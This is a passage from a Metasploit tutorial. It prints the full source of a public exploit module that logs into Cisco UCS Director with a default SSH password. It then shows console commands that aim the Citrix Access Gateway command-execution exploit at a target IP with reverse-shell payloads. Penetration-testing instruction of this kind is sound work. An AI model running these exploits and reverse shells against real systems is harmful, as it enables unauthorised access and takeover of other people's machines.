<p>Finally, the post module contains some programs that you might require post-exploitation. For example, you might want to discover if the host you exploited is a Virtual Machine or a Physical Computer. You can do this with the <code>checkvm</code> module found in the post category. Now you can browse all the exploits, payloads, or others and take a look at their codes. Let’s navigate to the exploits directory and select an exploit. Then we’ll take a look at the codes of that exploit. </p>



<pre class="wp-block-code prompt"><code>cd exploits</code></pre>
<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>aix        dialup                     firefox  mainframe  qnx
android    example_linux_priv_esc.rb  freebsd  multi      solaris
apple_ios  example.py                 hpux     netware    unix
bsd        example.rb                 irix     openbsd    windows
bsdi       example_webapp.rb          linux    osx</code></pre>



<p>
  What you’re seeing now are the categories of the exploits. For example, the linux directory contains all the exploits that are available for Linux systems.
</p>



<pre class="wp-block-code prompt"><code>cd linux</code></pre>
<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>antivirus  games  imap   mysql     pptp   samba  ssh
browser    http   local  pop3      proxy  smtp   telnet
ftp        ids    misc   postgres  redis  snmp   upnp</code></pre>



<p>
  Let’s take a look at the exploits for ssh.
</p>



<pre class="wp-block-code prompt"><code>cd ssh</code></pre>
<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>ceragon_fibeair_known_privkey.rb
cisco_ucs_scpuser.rb
exagrid_known_privkey.rb
f5_bigip_known_privkey.rb
ibm_drm_a3user.rb
loadbalancerorg_enterprise_known_privkey.rb
mercurial_ssh_exec.rb
microfocus_obr_shrboadmin.rb
quantum_dxi_known_privkey.rb
quantum_vmpro_backdoor.rb
solarwinds_lem_exec.rb
symantec_smg_ssh.rb
vmware_vdp_known_privkey.rb
vyos_restricted_shell_privesc.rb</code></pre>



<p>As you can see, all the exploits are written in Ruby, and thus, the extension of the files is <code>.rb</code>. Now let’s look at the code of a specific exploit using the <code>cat</code> command, which outputs the content directly on the terminal: </p>



<pre class="wp-block-code prompt"><code>cat cisco_ucs_scpuser.rb</code></pre>



<pre class="wp-block-code"><code>##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SSH

  def initialize(info={})
    super(update_info(info,
      'Name'           =&gt; "Cisco UCS Director default scpuser password",
      'Description'    =&gt; %q{
        This module abuses a known default password on Cisco UCS Director. The 'scpuser'
        has the password of 'scpuser', and allows an attacker to login to the virtual appliance
        via SSH.
        This module  has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
        Note that Cisco also mentions in their advisory that their IMC Supervisor and
        UCS Director Express are also affected by these vulnerabilities, but this module
        was not tested with those products.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        &#091;
          'Pedro Ribeiro &lt;pedrib&#091;at]gmail.com&gt;'        # Vulnerability discovery and Metasploit module
        ],
      'References'     =&gt;
        &#091;
          &#091; 'CVE', '2019-1935' ],
          &#091; 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ],
          &#091; 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ],
          &#091; 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-ucs-rce.txt' ]
        ],
      'DefaultOptions'  =&gt;
        {
          'EXITFUNC' =&gt; 'thread'
        },
      'Payload'        =&gt;
        {
          'Compat' =&gt; {
            'PayloadType'    =&gt; 'cmd_interact',
            'ConnectionType' =&gt; 'find'
          }
        },
      'Platform'       =&gt; 'unix',
      'Arch'           =&gt; ARCH_CMD,
      'Targets'        =&gt;
        &#091;
          &#091; 'Cisco UCS Director &lt; 6.7.2.0', {} ],
        ],
      'Privileged'     =&gt; false,
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; '2019-08-21'
    ))

    register_options(
      &#091;
        Opt::RPORT(22),
        OptString.new('USERNAME', &#091;true,  "Username to login with", 'scpuser']),
        OptString.new('PASSWORD', &#091;true,  "Password to login with", 'scpuser']),
      ], self.class
    )

    register_advanced_options(
      &#091;
        OptBool.new('SSH_DEBUG', &#091;false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', &#091;false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def rhost
    datastore&#091;'RHOST']
  end

  def rport
    datastore&#091;'RPORT']
  end

  def do_login(user, pass)
    factory = ssh_socket_factory
    opts = {
      :auth_methods    =&gt; &#091;'password', 'keyboard-interactive'],
      :port            =&gt; rport,
      :use_agent       =&gt; false,
      :config          =&gt; false,
      :password        =&gt; pass,
      :proxy           =&gt; factory,
      :non_interactive =&gt; true,
      :verify_host_key =&gt; :never
    }

    opts.merge!(:verbose =&gt; :debug) if datastore&#091;'SSH_DEBUG']

    begin
      ssh = nil
      ::Timeout.timeout(datastore&#091;'SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, user, opts)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception =&gt; e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh
      conn = Net::SSH::CommandStream.new(ssh)
      ssh = nil
      return conn
    end

    return nil
  end

  def exploit
    user = datastore&#091;'USERNAME']
    pass = datastore&#091;'PASSWORD']

    print_status("#{rhost}:#{rport} - Attempt to login to the Cisco appliance...")
    conn = do_login(user, pass)
    if conn
      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
      handler(conn.lsock)
    end
  end
end
</code></pre>



<p>You can see the code for the exploit is shown here. The green marked section is the description of the exploit and the yellow marked portion is the options that can be set for this exploit. </p>



<p>The description reveals what function this exploit will perform. As you can see, it exploits a known vulnerability of <strong>Cisco UCS Director</strong>. The vulnerability is the default password of the machine, which, if unchanged, may be used to gain access to the system. If you are someone who knows Ruby and has a good grasp of how the vulnerability works, you can modify the code and create your own version of the exploit. That’s the power of the Metasploit Framework. </p>



<p>In this way, you can also find out what payloads are there in your Metasploit Framework, add your own in the directory, and modify the existing ones. </p>



<h1 id="basic-commands-of-metasploit-framework" class="wp-block-heading"><a id="post-3536-_heading=h.4i7ojhp"></a>Basic commands of Metasploit Framework</h1>



<p>Now let’s move on to the fun stuff. In this section, we’ll talk about some of the basic Metasploit commands that you’re going to need all the time. </p>



<p>Fire up the Metasploit console by typing in <code>msfconsole</code>. Now you will see <code>msf6 &gt;</code> indicating you’re in the interactive mode. </p>



<pre class="wp-block-code prompt"><code>msfconsole</code></pre>



<pre class="wp-block-code promptmsf6"><code></code></pre>



<p>I have the msf6 shown here, where 6 represents the version of the framework and console. You can execute regular terminal commands from here as well, which means you don’t have to exit out of Metasploit Framework to perform some other tasks, making it super convenient. Here’s an example –    msf6 &gt; ls </p>



<pre class="wp-block-code"><code>&#091;*] exec: ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos</code></pre>



<p>The <code>ls</code> command works as it is intended to. You can use the help command to get a list of commands and their functions. Metasploit has very convenient help descriptions. They are divided into categories and easy to follow. </p>



<pre class="wp-block-code promptmsf6"><code>help</code></pre>



<p>Now, let’s take a look at some important commands.</p>



<h2 id="show-command" class="wp-block-heading"><a id="post-3536-_heading=h.2xcytpi"></a>Show command</h2>



<p>If you want to see the modules you currently have in your Metasploit Framework, you can use the <code>show</code> command. Show command will show you specific modules or all the modules. Show command requires an argument to be passed with it. Type in “show -h” to find out what argument the command takes:</p>



<pre class="wp-block-code promptmsf6"><code>show -h</code></pre>



<pre class="wp-block-code"><code>&#091;*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options, favorites
&#091;*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions
</code></pre>



<p>For example, you can see all the exploits by using the command in the following way: </p>



<pre class="wp-block-code promptmsf6"><code>show exploits</code></pre>



<p>This will list all the existing exploits, which will be a long list, needless to say. Let’s look at how many encoders are there:</p>



<pre class="wp-block-code promptmsf6"><code>show encoders</code></pre>



<p>Show command can be used inside of any modules to get specific modules that are compatible. <strong>You’ll understand this better in the later sections.</strong> </p>



<h2 id="search-anything-within-metasploit" class="wp-block-heading"><a id="post-3536-_heading=h.1ci93xb"></a>Search anything within Metasploit</h2>



<p>
  Let’s imagine you found a service running on an open port on the target machine. If you also know which version of the service that machine is using – you might want to look for already known vulnerabilities of that service. 
</p>



<p><strong>How do you find out if that service has any vulnerability which has ready-made exploits on Metasploit?</strong>  
</p>



<p>
  You guessed it – you must use the search utility of Metasploit. 
</p>



<p>
  It doesn’t even have to be the exploits, you can also find out payloads, auxiliaries, etc., and you can search the descriptions as well.
</p>



<p>   Let’s imagine I wanted to find out if Metasploit has anything related to <a href="https://en.wikipedia.org/wiki/Samba_(software)" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right"><strong>Samba</strong><span class="wpel-icon wpel-image wpel-icon-19"></span></a>. Samba is an useful cross platform tool that uses the SMB (Server Message Block) protocol. It allows file and other resource sharing between Windows and Unix based-host. Let’s use the <code>search</code> command: </p>



<pre class="wp-block-code promptmsf6"><code>search samba</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #   Name                                                 Disclosure Date  Rank       Check  Description
   -   ----                                                 ---------------  ----       -----  -----------
   0   exploit/unix/webapp/citrix_access_gateway_exec       2010-12-21       excellent  Yes    Citrix Access Gateway Command Execution
   1   exploit/windows/license/calicclnt_getconfig          2005-03-02       average    No     Computer Associates License Client GETCONFIG Overflow
   2   exploit/unix/misc/distcc_exec                        2002-02-01       excellent  Yes    DistCC Daemon Command Execution
   3   exploit/windows/smb/group_policy_startup             2015-01-26       manual     No     Group Policy Script Execution From Shared Resource
   4   post/linux/gather/enum_configs                                        normal     No     Linux Gather Configurations
   5   auxiliary/scanner/rsync/modules_list                                  normal     No     List Rsync Modules
   6   exploit/windows/fileformat/ms14_060_sandworm         2014-10-14       excellent  No     MS14-060 Microsoft Windows OLE Package Manager Code Execution
   7   exploit/unix/http/quest_kace_systems_management_rce  2018-05-31       excellent  Yes    Quest KACE Systems Management Command Injection
   8   exploit/multi/samba/usermap_script                   2007-05-14       excellent  No     Samba "username map script" Command Execution
   9   exploit/multi/samba/nttrans                          2003-04-07       average    No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
   10  exploit/linux/samba/setinfopolicy_heap               2012-04-10       normal     Yes    Samba SetInformationPolicy AuditEventsInfo Heap Overflow
   11  auxiliary/admin/smb/samba_symlink_traversal                           normal     No     Samba Symlink Directory Traversal
   12  auxiliary/scanner/smb/smb_uninit_cred                                 normal     Yes    Samba _netr_ServerPasswordSet Uninitialized Credential State
   13  exploit/linux/samba/chain_reply                      2010-06-16       good       No     Samba chain_reply Memory Corruption (Linux x86)
   14  exploit/linux/samba/is_known_pipename                2017-03-24       excellent  Yes    Samba is_known_pipename() Arbitrary Module Load
   15  auxiliary/dos/samba/lsa_addprivs_heap                                 normal     No     Samba lsa_io_privilege_set Heap Overflow
   16  auxiliary/dos/samba/lsa_transnames_heap                               normal     No     Samba lsa_io_trans_names Heap Overflow
   17  exploit/linux/samba/lsa_transnames_heap              2007-05-14       good       Yes    Samba lsa_io_trans_names Heap Overflow
   18  exploit/osx/samba/lsa_transnames_heap                2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   19  exploit/solaris/samba/lsa_transnames_heap            2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   20  auxiliary/dos/samba/read_nttrans_ea_list                              normal     No     Samba read_nttrans_ea_list Integer Overflow
   21  exploit/freebsd/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (*BSD x86)
   22  exploit/linux/samba/trans2open                       2003-04-07       great      No     Samba trans2open Overflow (Linux x86)
   23  exploit/osx/samba/trans2open                         2003-04-07       great      No     Samba trans2open Overflow (Mac OS X PPC)
   24  exploit/solaris/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (Solaris SPARC)
   25  exploit/windows/http/sambar6_search_results          2003-06-21       normal     Yes    Sambar 6 Search Results Buffer Overflow


Interact with a module by name or index. For example info 25, use 25 or use exploit/windows/http/sambar6_search_results </code></pre>



<p>You can also notice the date and description of the exploit. There is also a metric called <strong>rank</strong> telling you how good the exploit is. The name is actually also the path of where the module is inside the <strong>/usr/share/metasploit-framework/</strong>  </p>



<p>There is some useful information for the exploits written in the <strong>Rank</strong>, <strong>Check</strong>, and <strong>Disclosure</strong> columns. The rank of an exploit indicates how reliable the exploit is. The check functionality for an exploit lets you check whether the exploit will work or not before actually running it on a host. The disclosure date is the date a particular exploit became publicly available. This is a good indicator of how many systems will be affected by it. </p>



<p>A relatively new exploit will affect many of the machines running the service since they might not have updated the vulnerable application in the short time period.  </p>



<h2 id="the-use-command" class="wp-block-heading"><a id="post-3536-_heading=h.3whwml4"></a>The use command</h2>



<p>After you’ve chosen the module you want to use, you can select the module by the <code>use</code> command followed by the name or the id of the module. Let’s use the first one we got from the search result: </p>



<pre class="wp-block-code promptmsf6"><code>use exploit/unix/webapp/citrix_access_gateway_exec</code></pre>



<pre class="wp-block-code"><code>&#091;*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt;</code></pre>



<p>You can also specify the number for the module: </p>



<pre class="wp-block-code promptmsf6"><code>use 0</code></pre>



<pre class="wp-block-code"><code>&#091;*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; </code></pre>



<h2 id="get-the-description-of-the-module-with-the-info-command" class="wp-block-heading"><a id="post-3536-_heading=h.2bn6wsx"></a>Get the description of the module with the info command</h2>



<p>If you’re not sure about a module you can always get the description and see what it does. As we showed you earlier, you could get the description by looking at the original code of the module. However, we’re going to show you a much faster and efficient way. For this, you have to use the command <code>info</code> after you’ve entered the <code>use</code> command to select an exploit: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; info</code></pre>



<pre class="wp-block-code"><code>       Name: Citrix Access Gateway Command Execution
     Module: exploit/unix/webapp/citrix_access_gateway_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-12-21

Provided by:
  George D. Gal
  Erwin Paternotte

Available targets:
  Id  Name
  ‐‐  ‐‐‐‐
  0   Automatic

Check supported:
  Yes

<span style="color: #FFD670;" class="stk-highlight">Basic options:
  Name     Current Setting  Required  Description
  </span><span style="color: #ffd670;" class="stk-highlight">‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐</span><span style="color: #FFD670;" class="stk-highlight">
  Proxies                   no        A proxy chain of format typ
                                      e:host:port&#091;,type:host:port
                                      ]&#091;...]
  RHOSTS                    yes       The target host(s), see htt
                                      ps://github.com/rapid7/meta
                                      sploit-framework/wiki/Using
                                      -Metasploit
  RPORT    443              yes       The target port (TCP)
  SSL      true             yes       Use SSL
  VHOST                     no        HTTP server virtual host</span>

Payload information:
  Space: 127

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Description:
  The Citrix Access Gateway provides support for multiple 
  authentication types. When utilizing the external legacy NTLM 
  authentication module known as ntlm_authenticator the Access Gateway 
  spawns the Samba 'samedit' command line utility to verify a user's 
  identity and password. By embedding shell metacharacters in the web 
  authentication form it is possible to execute arbitrary commands on 
  the Access Gateway.</span>

References:
  https:&#47;&#47;nvd.nist.gov/vuln/detail/CVE-2010-4566
  OSVDB (70099)
  http://www.securityfocus.com/bid/45402
  http://www.vsecurity.com/resources/advisory/20101221-1/
</code></pre>



<p>As you can see, the <code>info</code> command shows a detailed description of the module. You can see the description of what it does and what options to use, including explanations for everything. You can also use the <code>show info</code> command to get the same result. </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show info</code></pre>



<h2 id="see-the-options-you-need-to-specify-for-the-modules" class="wp-block-heading"><a id="post-3536-_heading=h.qsh70q"></a>See the options you need to specify for the modules</h2>



<p>For the modules, you will have to set some of the options. Some options will already be set. You will need to specify options like your target machine IP address, port, and things like this. The options will change according to what module you are using. You can see the options using the <code>options</code> or <code>show options</code> command. Let’s see this in action: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; options</code></pre>



<pre class="wp-block-code"><code><span style="color: #FFD670;" class="stk-highlight">Module options</span> (exploit/unix/webapp/citrix_access_gateway_exec):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   Proxies                   no        A proxy chain of format ty
                                       pe:host:port&#091;,type:host:po
                                       rt]&#091;...]
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>                    <span style="color: #4B88A2;" class="stk-highlight">yes</span>       The target host(s), see ht
                                       tps://github.com/rapid7/me
                                       tasploit-framework/wiki/Us
                                       ing-Metasploit
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RPORT</span>    <span style="color: #A23B72;" class="stk-highlight">443</span>              <span style="color: #4B88A2;" class="stk-highlight">yes</span>       The target port (TCP)
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">SSL</span>      <span style="color: #A23B72;" class="stk-highlight">true</span>             <span style="color: #4B88A2;" class="stk-highlight">yes</span>       Use SSL
   VHOST                     no        HTTP server virtual host


<span style="color: #FFD670;" class="stk-highlight">Payload options</span> (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">LHOST</span>  <span style="color: #A23B72" class="stk-highlight">10.0.2.15</span>        <span style="color: #4B88A2;" class="stk-highlight">yes</span>       The listen address (an inter
                                     face may be specified)
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">LPORT</span>  <span style="color: #A23B72" class="stk-highlight">4444</span>             <span style="color: #4B88A2;" class="stk-highlight">yes</span>       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic</code></pre>



<p>You can see the options for this specific <code>exploit(unix/webapp/citrix_access_gateway_exec)</code>. You can also see the options for the default Payload (<code>cmd/unix/reverse_netcat</code>) for this exploit. </p>



<p>I have marked all the fields with different colors. The names are marked in green color. The current setting for each option is marked in pink. All of the fields are not required for the exploit to function. Some of them are optional. The mandatory ones will be listed as <code>yes</code> in the <code>Required</code> field marked in teal. Many of the options will be already filled out by default. You can either change them or keep them unchanged. </p>



<p>In this example, you can see the <code>RHOSTS</code> option does not have a current setting field value in it. This is where you will have to specify the target IP address. You will learn how to set it with the next command. </p>



<h2 id="use-the-set-command-to-set-a-value-to-a-variable" class="wp-block-heading"><a id="post-3536-_heading=h.3as4poj"></a>Use the set command to set a value to a variable</h2>



<p>Set is one of the core commands of the Metasploit console. You can use this command to set context-specific values to a variable. For example, let’s try to set the target IP address for the above <code>RHOSTS</code> option field. Type in <code>set RHOSTS [target IP]</code>: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; set RHOSTS 192.168.43.111</code></pre>



<pre class="wp-block-code"><code>RHOSTS =&gt; 192.168.43.111</code></pre>



<p>Now we’ve successfully set up the value of the <code>RHOSTS</code> variable with the set command. Let’s check if it worked or not. Type in <code>show options</code>: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/webapp/citrix_access_gateway_exec):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   Proxies                   no        A proxy chain of format type:host:port&#091;,type:host:port]&#091;...]
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>   <span style="color: #A23B72;" class="stk-highlight">192.168.43.111</span>   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT    443              yes       The target port (TCP)
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐

   LHOST  192.168.74.128   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>The output shows the RHOSTS variable or option has the target machine IP address that we specified using the <code>set</code> command. </p>



<h2 id="choose-the-payload" class="wp-block-heading"><a id="post-3536-_heading=h.1pxezwc"></a>Choose the Payload</h2>



<p>After we’ve specified the required options for our exploit, we have to set up the payload that we’ll be sending after the exploit successfully completes. There are a lot of payloads in all of Metasploit database. However, after selecting the exploit, you will get the only payloads that are compatible with the exploit. Here, you can use the <code>show</code> command usefully to see the available payloads: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show payloads</code></pre>



<pre class="wp-block-code"><code>Compatible Payloads
===================

   #   Name                                      Disclosure Date  Rank    Check  Description
   -   ‐‐‐‐                                      ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0   payload/cmd/unix/bind_busybox_telnetd                      normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   1   payload/cmd/unix/bind_netcat                               normal  No     Unix Command Shell, Bind TCP (via netcat)
   2   payload/cmd/unix/bind_netcat_gaping                        normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   3   payload/cmd/unix/bind_netcat_gaping_ipv6                   normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   4   payload/cmd/unix/bind_socat_udp                            normal  No     Unix Command Shell, Bind UDP (via socat)
   5   payload/cmd/unix/bind_zsh                                  normal  No     Unix Command Shell, Bind TCP (via Zsh)
   6   payload/cmd/unix/generic                                   normal  No     Unix Command, Generic Command Execution
   7   payload/cmd/unix/pingback_bind                             normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   8   payload/cmd/unix/pingback_reverse                          normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   9   payload/cmd/unix/reverse_bash                              normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   10  payload/cmd/unix/reverse_bash_telnet_ssl                   normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   11  payload/cmd/unix/reverse_bash_udp                          normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   12  payload/cmd/unix/reverse_ksh                               normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   13  payload/cmd/unix/reverse_ncat_ssl                          normal  No     Unix Command Shell, Reverse TCP (via ncat)
   14  payload/cmd/unix/reverse_netcat                            normal  No     Unix Command Shell, Reverse TCP (via netcat)
   15  payload/cmd/unix/reverse_netcat_gaping                     normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   16  payload/cmd/unix/reverse_python                            normal  No     Unix Command Shell, Reverse TCP (via Python)
   17  payload/cmd/unix/reverse_socat_udp                         normal  No     Unix Command Shell, Reverse UDP (via socat)
   18  payload/cmd/unix/reverse_ssh                               normal  No     Unix Command Shell, Reverse TCP SSH
   19  payload/cmd/unix/reverse_zsh                               normal  No     Unix Command Shell, Reverse TCP (via Zsh)</code></pre>



<p>Now you can choose any of the payloads that are listed. They are all compatible with the exploit. Let’s choose a different one rather than the default one. Here, we’ll use the <code>set</code> command to set the value of the payload variable to the name of the specific payload: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; set payload payload/cmd/unix/reverse_ssh</code></pre>



<pre class="wp-block-code"><code>payload =&gt; cmd/unix/reverse_ssh</code></pre>



<p>The output shows that the payload is set to (<code>cmd/unix/reverse_ssh</code>). Let’s set up the payload. Type in <code>show options</code>: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/webapp/citrix_access_gateway_exec):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   Proxies                   no        A proxy chain of format type:host:port&#091;,type:host:port]&#091;...]
   RHOSTS   192.168.43.111   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT    443              yes       The target port (TCP)
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_ssh):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   LHOST  192.168.74.128   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>The option for the payload shows that the selected payload is now changed to our desired one (<code>cmd/unix/reverse_ssh</code>). You can set the payload options with the <code>set</code> command as well: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; set LPORT 5000
LPORT =&gt; 5000</code></pre>



<p>Here, we’ve set the local port for listening to <code>5000</code> from the default <code>4444</code>. Let’s see our changes in the options.  </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/webapp/citrix_access_gateway_exec):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   Proxies                   no        A proxy chain of format type:host:port&#091;,type:host:port]&#091;...]
   RHOSTS   192.168.43.111   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT    443              yes       The target port (TCP)
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_ssh):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   LHOST  192.168.74.128   yes       The listen address (an interface may be specified)
   LPORT  5000             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>Now that you’ve set up the exploit and the payload – you can start the fun. Let’s move on to the exploit commands. </p>



<h2 id="check-if-the-exploit-will-work-or-not" class="wp-block-heading"><a id="post-3536-_heading=h.49x2ik5"></a>Check if the exploit will work or not</h2>



<p>Before going forward with the exploit, you might wonder if it is actually going to work or not. Let’s try to find out. We’ll have to use the “check” command to see the target host is vulnerable to the exploit we’ve set up – </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; check</code></pre>



<pre class="wp-block-code"><code>&#091;*] Attempting to detect if the Citrix Access Gateway is vulnerable...
&#091;*] 192.168.43.111:443 - <span style="color: #FF521B;" class="stk-highlight">The target is not exploitable</span>.</code></pre>



<p>As you can see, the target we’re attacking is not vulnerable to this exploit. So there’s no point in continuing this line of attacking. In reality, you’ll mostly know if the machine has the vulnerability to the exploit you’re running beforehand. This is just an example to illustrate what is possible. </p>



<p>We’ll show you an example of an exploitable machine in the next section. Keep on reading! </p>



<h1 id="a-penetration-test-walkthrough" class="wp-block-heading"><a id="post-3536-_heading=h.2p2csry"></a>A penetration test walkthrough</h1>



<p>In this section, I’ll demonstrate how penetration testing is done. I will be using the intentionally vulnerable Linux machine – <strong>Metasploitable 2</strong>. This machine is created to have its port open and running vulnerable applications. You can get Metasploitable on <strong>rapid7</strong>’s website. </p>



